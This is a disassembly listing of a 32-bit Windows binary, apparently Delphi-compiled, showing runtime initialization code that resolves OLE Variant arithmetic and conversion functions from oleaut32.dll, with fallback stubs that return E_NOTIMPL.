dd offset off_4001AF0C
dd offset dword_4001A940
dd offset off_4001AFE8
dd offset dword_4001A938
dd offset off_4001B034
dd offset dword_4001A930
dd offset off_4001AEC4
dd offset dword_4001A928
dd offset off_4001B084
dd offset dword_4001A920
dd offset off_4001AF84
dword_4000CA6C dd 28h dd offset off_4001A918
dd offset off_4001B078
dd 0
dd offset off_4001A914
dd offset off_4001AEE8
align 8
dd offset off_4001A910
dd offset off_4001B028
dd 0
dd offset off_4001A90C
dd offset off_4001AED0
align 10h
dd offset off_4001A908
dd offset off_4001AF18
dd 0
dd offset off_4001A904
dd offset off_4001AF10
dd 0
dd offset off_4001A900
dd offset off_4001AEF0
dd 0
dd offset off_4001A8FC
dd offset off_4001AF80
align 10h
dd offset off_4001A8F8
dd offset off_4001B000
dd 0
dd offset off_4001A8F4
dd offset off_4001AF14
align 8
dd offset off_4001A8F0
dd offset off_4001AFE0
dd 0
dd offset off_4001A8EC
dd offset off_4001B04C
align 10h
dd offset off_4001A8E8
dd offset off_4001B040
dd 0
dd offset off_4001A8E4
dd offset off_4001B008
align 8
dd offset off_4001A8E0
dd offset off_4001AF6C
dd 0
dd offset off_4001A8DC
dd offset off_4001AF50
align 10h
dd offset off_4001A8D8
dd offset off_4001AECC
dd 0
dd offset off_4001A8D4
dd offset off_4001B03C
align 8
dd offset off_4001A8D0
dd offset off_4001AFC4
dd 0
dd offset off_4001A8CC
dd offset off_4001AF48
align 10h
dd offset off_4001A8C8
dd offset off_4001AFB0
dd 0
dd offset off_4001A8C4
dd offset off_4001AFF8
align 8
dd offset off_4001A8C0
dd offset off_4001AFBC
dd 0
dd offset off_4001A8BC
dd offset off_4001AF58
align 10h
dd offset off_4001A8B8
dd offset off_4001AEC8
dd 0
dd offset off_4001A8B4
dd offset off_4001AF9C
align 8
dd offset off_4001A8B0
dd offset off_4001B098
dd 0
dd offset off_4001A8AC
dd offset off_4001B070
align 10h
dd offset off_4001A8A8
dd offset off_4001AFDC
dd 0
dd offset off_4001A8A4
dd offset off_4001AF30
align 8
dd offset off_4001A8A0
dd offset off_4001AED8
dd 0
dd offset off_4001A89C
dd offset off_4001B068
align 10h
dd offset off_4001A898
dd offset off_4001B0D0
dd 0
dd offset off_4001A894
dd offset off_4001AEF4
dd 0
dd offset off_4001A890
dd offset off_4001AEB8
dd 0
dd offset off_4001A88C
dd offset off_4001B080
align 10h
dd offset off_4001A888
dd offset off_4001AFD8
dd 0
dd offset off_4001A884
dd offset off_4001B0AC
align 8
dd offset off_4001A860
dd offset off_4001AF8C
dd 0
dd offset off_4001A85C
dd offset off_4001AF38
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000CC50 proc near ; DATA XREF: .text:40018370o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_4000CDCF
push dword ptr fs:[eax]
mov fs:[eax], esp
inc ds:dword_4001E918
jnz loc_4000CDC1
mov eax, offset dword_4001F224
call sub_4000C970
mov eax, offset sub_4000C230
call sub_400060C4
call sub_4000C4B4
call sub_4000B7B0
mov eax, offset dword_4001A7DC
call sub_40004884
mov eax, offset dword_4001A7E0
call sub_40005008
mov eax, offset dword_4001A7F4
call sub_40004884
mov eax, offset dword_4001E808
call sub_40004884
mov eax, offset dword_4001E814
call sub_40004884
mov eax, offset dword_4001E818
call sub_40004884
mov eax, offset dword_4001E820
call sub_40004884
mov eax, offset dword_4001E824
call sub_40004884
mov eax, offset dword_4001E828
call sub_40004884
mov eax, offset dword_4001E82C
call sub_40004884
mov eax, offset dword_4001E830
mov ecx, 0Ch
mov edx, ds:off_40001000
call sub_40005314
mov eax, offset dword_4001E860
mov ecx, 0Ch
mov edx, ds:off_40001000
call sub_40005314
mov eax, offset dword_4001E890
mov ecx, 7
mov edx, ds:off_40001000
call sub_40005314
mov eax, offset dword_4001E8AC
mov ecx, 7
mov edx, ds:off_40001000
call sub_40005314
mov eax, offset dword_4001E8D8
mov ecx, 7
mov edx, ds:off_40001000
call sub_40005314
mov eax, offset dword_4001E910
mov edx, ds:off_400077D8
call sub_40005B34
mov eax, offset dword_4001E914
mov edx, ds:off_400077FC
call sub_40005B34
mov eax, offset off_4001A84C
call sub_40004884
mov eax, offset off_4001A854
mov ecx, 2
mov edx, ds:off_40001000
call sub_40005314
mov eax, offset dword_4001A91C
mov ecx, 7
mov edx, ds:off_4000B210
call sub_40005314
mov eax, offset off_4001A954
mov ecx, 16h
mov edx, ds:off_4000B290
call sub_40005314
loc_4000CDC1: ; CODE XREF: sub_4000CC50+17j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000CDD6
loc_4000CDCE: ; CODE XREF: sub_4000CC50+184j
retn
; ---------------------------------------------------------------------------
loc_4000CDCF: ; DATA XREF: sub_4000CC50+6o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000CDCE
; ---------------------------------------------------------------------------
loc_4000CDD6: ; CODE XREF: sub_4000CC50:loc_4000CDCEj
; DATA XREF: sub_4000CC50+179o
pop ebp
retn
sub_4000CC50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4000CDD8 proc near ; CODE XREF: sub_4000E35C+72p
; sub_4000E744+13p ...
jmp ds:dword_40024660
sub_4000CDD8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4000CDE0 proc near ; CODE XREF: sub_4000E1E0+16Bp
; sub_4000E35C+Fp ...
jmp ds:dword_4002465C
sub_4000CDE0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4000CDE8 proc near ; CODE XREF: sub_4000E480+1B9p
; sub_4000E654+21p ...
jmp ds:dword_40024658
sub_4000CDE8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4000CDF0 proc near ; CODE XREF: sub_4000CDF8+25p
jmp ds:dword_40024654
sub_4000CDF0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000CDF8 proc near ; DATA XREF: sub_4000D28C+12o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
arg_10 = word ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 400h
jz short loc_4000CE0B
mov eax, 80004001h
jmp short loc_4000CE22
; ---------------------------------------------------------------------------
loc_4000CE0B: ; CODE XREF: sub_4000CDF8+Aj
movzx eax, [ebp+arg_10]
push eax
movzx eax, [ebp+arg_C]
push eax
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_4000CDF0
loc_4000CE22: ; CODE XREF: sub_4000CDF8+11j
pop ebp
retn 14h
sub_4000CDF8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000CE28 proc near ; DATA XREF: sub_4000D28C+28o
; sub_4000D28C+3Eo
push ebp
mov ebp, esp
mov eax, 80004001h
pop ebp
retn 8
sub_4000CE28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000CE34 proc near ; DATA XREF: sub_4000D28C+54o
; sub_4000D28C+6Ao ...
push ebp
mov ebp, esp
mov eax, 80004001h
pop ebp
retn 0Ch
sub_4000CE34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000CE40 proc near ; DATA XREF: sub_4000D28C+11Ao
push ebp
mov ebp, esp
mov eax, 80004001h
pop ebp
retn 10h
sub_4000CE40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000CE4C proc near ; DATA XREF: sub_4000D28C+130o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push offset loc_4000CEA6
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp [ebp+arg_4], 400h
jz short loc_4000CE70
mov ebx, 80004001h
jmp short loc_4000CE90
; ---------------------------------------------------------------------------
loc_4000CE70: ; CODE XREF: sub_4000CE4C+1Bj
lea eax, [ebp+var_4]
mov edx, [ebp+arg_0]
call sub_40004B0C
mov eax, [ebp+var_4]
mov edx, [ebp+arg_C]
call sub_40007DEC
and eax, 7Fh
mov ebx, dword_4001AA08[eax*4]
loc_4000CE90: ; CODE XREF: sub_4000CE4C+22j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000CEAD
loc_4000CE9D: ; CODE XREF: sub_4000CE4C+5Fj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000CEA6: ; DATA XREF: sub_4000CE4C+9o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000CE9D
; ---------------------------------------------------------------------------
loc_4000CEAD: ; CODE XREF: sub_4000CE4C+59j
; DATA XREF: sub_4000CE4C+4Co
mov eax, ebx
pop ebx
pop ecx
pop ebp
retn 10h
sub_4000CE4C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000CEB8 proc near ; DATA XREF: sub_4000D28C+146o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push offset loc_4000CF12
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp [ebp+arg_4], 400h
jz short loc_4000CEDC
mov ebx, 80004001h
jmp short loc_4000CEFC
; ---------------------------------------------------------------------------
loc_4000CEDC: ; CODE XREF: sub_4000CEB8+1Bj
lea eax, [ebp+var_4]
mov edx, [ebp+arg_0]
call sub_40004B0C
mov eax, [ebp+var_4]
mov edx, [ebp+arg_C]
call sub_40008EBC
and eax, 7Fh
mov ebx, dword_4001AA08[eax*4]
loc_4000CEFC: ; CODE XREF: sub_4000CEB8+22j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000CF19
loc_4000CF09: ; CODE XREF: sub_4000CEB8+5Fj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000CF12: ; DATA XREF: sub_4000CEB8+9o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000CF09
; ---------------------------------------------------------------------------
loc_4000CF19: ; CODE XREF: sub_4000CEB8+59j
; DATA XREF: sub_4000CEB8+4Co
mov eax, ebx
pop ebx
pop ecx
pop ebp
retn 10h
sub_4000CEB8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000CF24 proc near ; DATA XREF: sub_4000D28C+15Co
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push offset loc_4000CF7E
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp [ebp+arg_4], 400h
jz short loc_4000CF48
mov ebx, 80004001h
jmp short loc_4000CF68
; ---------------------------------------------------------------------------
loc_4000CF48: ; CODE XREF: sub_4000CF24+1Bj
lea eax, [ebp+var_4]
mov edx, [ebp+arg_0]
call sub_40004B0C
mov eax, [ebp+var_4]
mov edx, [ebp+arg_C]
call sub_40008E90
and eax, 7Fh
mov ebx, dword_4001AA08[eax*4]
loc_4000CF68: ; CODE XREF: sub_4000CF24+22j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000CF85
loc_4000CF75: ; CODE XREF: sub_4000CF24+5Fj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000CF7E: ; DATA XREF: sub_4000CF24+9o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000CF75
; ---------------------------------------------------------------------------
loc_4000CF85: ; CODE XREF: sub_4000CF24+59j
; DATA XREF: sub_4000CF24+4Co
mov eax, ebx
pop ebx
pop ecx
pop ebp
retn 10h
sub_4000CF24 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000CF90 proc near ; DATA XREF: sub_4000D28C+172o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push offset loc_4000CFEA
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp [ebp+arg_4], 400h
jz short loc_4000CFB4
mov ebx, 80004001h
jmp short loc_4000CFD4
; ---------------------------------------------------------------------------
loc_4000CFB4: ; CODE XREF: sub_4000CF90+1Bj
lea eax, [ebp+var_4]
mov edx, [ebp+arg_0]
call sub_40004B0C
mov eax, [ebp+var_4]
mov edx, [ebp+arg_C]
call sub_4000A780
and eax, 7Fh
mov ebx, dword_4001AA08[eax*4]
loc_4000CFD4: ; CODE XREF: sub_4000CF90+22j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000CFF1
loc_4000CFE1: ; CODE XREF: sub_4000CF90+5Fj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000CFEA: ; DATA XREF: sub_4000CF90+9o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000CFE1
; ---------------------------------------------------------------------------
loc_4000CFF1: ; CODE XREF: sub_4000CF90+59j
; DATA XREF: sub_4000CF90+4Co
mov eax, ebx
pop ebx
pop ecx
pop ebp
retn 10h
sub_4000CF90 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000CFFC proc near ; DATA XREF: sub_4000D28C+188o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push offset loc_4000D056
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp [ebp+arg_4], 400h
jz short loc_4000D020
mov ebx, 80004001h
jmp short loc_4000D040
; ---------------------------------------------------------------------------
loc_4000D020: ; CODE XREF: sub_4000CFFC+1Bj
lea eax, [ebp+var_4]
mov edx, [ebp+arg_0]
call sub_40004B0C
mov eax, [ebp+var_4]
mov edx, [ebp+arg_C]
call sub_40008EE8
and eax, 7Fh
mov ebx, dword_4001AA08[eax*4]
loc_4000D040: ; CODE XREF: sub_4000CFFC+22j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000D05D
loc_4000D04D: ; CODE XREF: sub_4000CFFC+5Fj
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000D056: ; DATA XREF: sub_4000CFFC+9o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000D04D
; ---------------------------------------------------------------------------
loc_4000D05D: ; CODE XREF: sub_4000CFFC+59j
; DATA XREF: sub_4000CFFC+4Co
mov eax, ebx
pop ebx
pop ecx
pop ebp
retn 10h
sub_4000CFFC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000D068 proc near ; DATA XREF: sub_4000D28C+19Eo
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
xor eax, eax
mov [ebp+var_8], eax
xor eax, eax
push ebp
push offset loc_4000D0D5
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp [ebp+arg_4], 400h
jz short loc_4000D092
mov ebx, 80004001h
jmp short loc_4000D0BF
; ---------------------------------------------------------------------------
loc_4000D092: ; CODE XREF: sub_4000D068+21j
lea eax, [ebp+var_8]
mov edx, [ebp+arg_0]
call sub_40004B0C
mov eax, [ebp+var_8]
lea edx, [ebp+var_1]
call sub_40007F40
and eax, 7Fh
mov ebx, dword_4001AA08[eax*4]
cmp [ebp+var_1], 1
cmc
sbb eax, eax
mov edx, [ebp+arg_C]
mov [edx], ax
loc_4000D0BF: ; CODE XREF: sub_4000D068+28j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000D0DC
loc_4000D0CC: ; CODE XREF: sub_4000D068+72j
lea eax, [ebp+var_8]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000D0D5: ; DATA XREF: sub_4000D068+Fo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000D0CC
; ---------------------------------------------------------------------------
loc_4000D0DC: ; CODE XREF: sub_4000D068+6Cj
; DATA XREF: sub_4000D068+5Fo
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
retn 10h
sub_4000D068 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000D0E8 proc near ; DATA XREF: sub_4000D28C+1B4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0
push ebx
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_4000D0F9
xor edx, edx
mov [eax], edx
loc_4000D0F9: ; CODE XREF: sub_4000D0E8+Bj
xor eax, eax
push ebp
push offset loc_4000D148
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp [ebp+arg_8], 400h
jz short loc_4000D117
mov ebx, 80004001h
jmp short loc_4000D132
; ---------------------------------------------------------------------------
loc_4000D117: ; CODE XREF: sub_4000D0E8+26j
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_4]
call sub_40008E44
mov edx, [ebp+var_4]
mov eax, [ebp+arg_10]
call sub_40005158
xor ebx, ebx
loc_4000D132: ; CODE XREF: sub_4000D0E8+2Dj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000D14F
loc_4000D13F: ; CODE XREF: sub_4000D0E8+65j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000D148: ; DATA XREF: sub_4000D0E8+14o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000D13F
; ---------------------------------------------------------------------------
loc_4000D14F: ; CODE XREF: sub_4000D0E8+5Fj
; DATA XREF: sub_4000D0E8+52o
mov eax, ebx
pop ebx
pop ecx
pop ebp
retn 14h
sub_4000D0E8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000D158 proc near ; DATA XREF: sub_4000D28C+1CAo
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0
push ebx
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_4000D169
xor edx, edx
mov [eax], edx
loc_4000D169: ; CODE XREF: sub_4000D158+Bj
xor eax, eax
push ebp
push offset loc_4000D1BA
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp [ebp+arg_8], 400h
jz short loc_4000D187
mov ebx, 80004001h
jmp short loc_4000D1A4
; ---------------------------------------------------------------------------
loc_4000D187: ; CODE XREF: sub_4000D158+26j
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_4]
xor edx, edx
call sub_40009E60
mov eax, [ebp+arg_10]
mov edx, [ebp+var_4]
call sub_40005158
xor ebx, ebx
loc_4000D1A4: ; CODE XREF: sub_4000D158+2Dj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000D1C1
loc_4000D1B1: ; CODE XREF: sub_4000D158+67j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000D1BA: ; DATA XREF: sub_4000D158+14o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000D1B1
; ---------------------------------------------------------------------------
loc_4000D1C1: ; CODE XREF: sub_4000D158+61j
; DATA XREF: sub_4000D158+54o
mov eax, ebx
pop ebx
pop ecx
pop ebp
retn 14h
sub_4000D158 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000D1CC proc near ; DATA XREF: sub_4000D28C+1E0o
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0
push ebx
mov eax, [ebp+arg_C]
test eax, eax
jz short loc_4000D1DD
xor edx, edx
mov [eax], edx
loc_4000D1DD: ; CODE XREF: sub_4000D1CC+Bj
xor eax, eax
push ebp
push offset loc_4000D230
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp [ebp+arg_4], 400h
jz short loc_4000D1FB
mov ebx, 80004001h
jmp short loc_4000D21A
; ---------------------------------------------------------------------------
loc_4000D1FB: ; CODE XREF: sub_4000D1CC+26j
cmp [ebp+arg_0], 1
sbb eax, eax
inc eax
lea ecx, [ebp+var_4]
xor edx, edx
call sub_40007FDC
mov edx, [ebp+var_4]
mov eax, [ebp+arg_C]
call sub_40005158
xor ebx, ebx
loc_4000D21A: ; CODE XREF: sub_4000D1CC+2Dj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4000D237
loc_4000D227: ; CODE XREF: sub_4000D1CC+69j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_4000D230: ; DATA XREF: sub_4000D1CC+14o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4000D227
; ---------------------------------------------------------------------------
loc_4000D237: ; CODE XREF: sub_4000D1CC+63j
; DATA XREF: sub_4000D1CC+56o
mov eax, ebx
pop ebx
pop ecx
pop ebp
retn 10h
sub_4000D1CC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4000D240 proc near ; CODE XREF: sub_4000E480+EEp
jmp ds:dword_40024650
sub_4000D240 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4000D248 proc near ; CODE XREF: sub_4000E1E0+AFp
; sub_4000E480+99p
jmp ds:dword_4002464C
sub_4000D248 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4000D250 proc near ; CODE XREF: sub_4000E1E0+CBp
; sub_4000E480+B5p
jmp ds:dword_40024648
sub_4000D250 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4000D258 proc near ; CODE XREF: sub_4000E1E0+142p
; sub_4000E480+16Bp ...
jmp ds:dword_40024644
sub_4000D258 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000D260 proc near ; CODE XREF: sub_4000D28C+1Cp
; sub_4000D28C+32p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, edx
mov edx, ebx
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx-4], 0
jz short loc_4000D286
push eax
mov eax, [ebp+arg_0]
mov eax, [eax-4]
push eax
call sub_400065A8 ; GetProcAddress
mov edx, eax
test edx, edx
jnz short loc_4000D286
mov edx, ebx
loc_4000D286: ; CODE XREF: sub_4000D260+Fj
; sub_4000D260+22j
mov eax, edx
pop ebx
pop ebp
retn
sub_4000D260 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000D28C proc near ; CODE XREF: .itext:4001913Dp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push offset dword_4000D484
call sub_400065A0 ; GetModuleHandleA
mov [ebp+var_4], eax
push ebp
mov edx, offset sub_4000CDF8
mov eax, offset aVariantchanget ; "VariantChangeTypeEx"
call sub_4000D260
pop ecx
mov ds:dword_4001F228, eax
push ebp
mov edx, offset sub_4000CE28
mov eax, offset aVarneg ; "VarNeg"
call sub_4000D260
pop ecx
mov ds:dword_4001F22C, eax
push ebp
mov edx, offset sub_4000CE28
mov eax, offset aVarnot ; "VarNot"
call sub_4000D260
pop ecx
mov ds:dword_4001F230, eax
push ebp
mov edx, offset sub_4000CE34
mov eax, offset aVaradd ; "VarAdd"
call sub_4000D260
pop ecx
mov ds:dword_4001F234, eax
push ebp
mov edx, offset sub_4000CE34
mov eax, offset aVarsub ; "VarSub"
call sub_4000D260
pop ecx
mov ds:dword_4001F238, eax
push ebp
mov edx, offset sub_4000CE34
mov eax, offset aVarmul ; "VarMul"
call sub_4000D260
pop ecx
mov ds:dword_4001F23C, eax
push ebp
mov edx, offset sub_4000CE34
mov eax, offset aVardiv ; "VarDiv"
call sub_4000D260
pop ecx
mov ds:dword_4001F240, eax
push ebp
mov edx, offset sub_4000CE34
mov eax, offset aVaridiv ; "VarIdiv"
call sub_4000D260
pop ecx
mov ds:dword_4001F244, eax
push ebp
mov edx, offset sub_4000CE34
mov eax, offset aVarmod ; "VarMod"
call sub_4000D260
pop ecx
mov ds:dword_4001F248, eax
push ebp
mov edx, offset sub_4000CE34
mov eax, offset aVarand ; "VarAnd"
call sub_4000D260
pop ecx
mov ds:dword_4001F24C, eax
push ebp
mov edx, offset sub_4000CE34
mov eax, offset aVaror ; "VarOr"
call sub_4000D260
pop ecx
mov ds:dword_4001F250, eax
push ebp
mov edx, offset sub_4000CE34
mov eax, offset aVarxor ; "VarXor"
call sub_4000D260
pop ecx
mov ds:dword_4001F254, eax
push ebp
mov edx, offset sub_4000CE40
mov eax, offset aVarcmp ; "VarCmp"
call sub_4000D260
pop ecx
mov ds:dword_4001F258, eax
push ebp
mov edx, offset sub_4000CE4C
mov eax, offset aVari4fromstr ; "VarI4FromStr"
call sub_4000D260
pop ecx
mov ds:dword_4001F25C, eax
push ebp
mov edx, offset sub_4000CEB8
mov eax, offset aVarr4fromstr ; "VarR4FromStr"
call sub_4000D260
pop ecx
mov ds:dword_4001F260, eax
push ebp
mov edx, offset sub_4000CF24
mov eax, offset aVarr8fromstr ; "VarR8FromStr"
call sub_4000D260
pop ecx
mov ds:dword_4001F264, eax
push ebp
mov edx, offset sub_4000CF90
mov eax, offset aVardatefromstr ; "VarDateFromStr"
call sub_4000D260
pop ecx
mov ds:dword_4001F268, eax
push ebp
mov edx, offset sub_4000CFFC
mov eax, offset aVarcyfromstr ; "VarCyFromStr"
call sub_4000D260
pop ecx
mov ds:dword_4001F26C, eax
push ebp
mov edx, offset sub_4000D068
mov eax, offset aVarboolfromstr ; "VarBoolFromStr"
call sub_4000D260
pop ecx
mov ds:dword_4001F270, eax
push ebp
mov edx, offset sub_4000D0E8
mov eax, offset aVarbstrfromcy ; "VarBstrFromCy"
call sub_4000D260
pop ecx
mov ds:dword_4001F274, eax
push ebp
mov edx, offset sub_4000D158
mov eax, offset aVarbstrfromdat ; "VarBstrFromDate"
call sub_4000D260
pop ecx
mov ds:dword_4001F278, eax
push ebp
mov edx, offset sub_4000D1CC
mov eax, offset aVarbstrfromboo ; "VarBstrFromBool"
call sub_4000D260
pop ecx
mov ds:dword_4001F27C, eax
pop ecx
pop ebp
retn
sub_4000D28C endp
; ---------------------------------------------------------------------------
dword_4000D484 dd 61656C6Fh, 32337475h, 6C6C642Eh, 0aVariantchanget db 'VariantChangeTypeEx',0 ; DATA XREF: sub_4000D28C+17o
aVarneg db 'VarNeg',0 ; DATA XREF: sub_4000D28C+2Do
align 10h
aVarnot db 'VarNot',0 ; DATA XREF: sub_4000D28C+43o
align 4
aVaradd db 'VarAdd',0 ; DATA XREF: sub_4000D28C+59o
align 10h
aVarsub db 'VarSub',0 ; DATA XREF: sub_4000D28C+6Fo
align 4
aVarmul db 'VarMul',0 ; DATA XREF: sub_4000D28C+85o
align 10h
aVardiv db 'VarDiv',0 ; DATA XREF: sub_4000D28C+9Bo
align 4
aVaridiv db 'VarIdiv',0 ; DATA XREF: sub_4000D28C+B1o
aVarmod db 'VarMod',0 ; DATA XREF: sub_4000D28C+C7o
align 4
aVarand db 'VarAnd',0 ; DATA XREF: sub_4000D28C+DDo
align 10h
aVaror db 'VarOr',0 ; DATA XREF: sub_4000D28C+F3o
align 4
aVarxor db 'VarXor',0 ; DATA XREF: sub_4000D28C+109o
align 10h
aVarcmp db 'VarCmp',0 ; DATA XREF: sub_4000D28C+11Fo
align 4
aVari4fromstr db 'VarI4FromStr',0 ; DATA XREF: sub_4000D28C+135o
align 4
aVarr4fromstr db 'VarR4FromStr',0 ; DATA XREF: sub_4000D28C+14Bo
align 4
aVarr8fromstr db 'VarR8FromStr',0 ; DATA XREF: sub_4000D28C+161o
align 4
aVardatefromstr db 'VarDateFromStr',0 ; DATA XREF: sub_4000D28C+177o
align 4
aVarcyfromstr db 'VarCyFromStr',0 ; DATA XREF: sub_4000D28C+18Do
align 4
aVarboolfromstr db 'VarBoolFromStr',0 ; DATA XREF: sub_4000D28C+1A3o
align 4
aVarbstrfromcy db 'VarBstrFromCy',0 ; DATA XREF: sub_4000D28C+1B9o
align 4
aVarbstrfromdat db 'VarBstrFromDate',0 ; DATA XREF: sub_4000D28C+1CFo
aVarbstrfromboo db 'VarBstrFromBool',0 ; DATA XREF: sub_4000D28C+1E5o
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4000D598 proc near ; DATA XREF: .text:40018378o
push ebp
mov ebp, esp
xor eax, eax
push ebp
push offset loc_4000D5BD
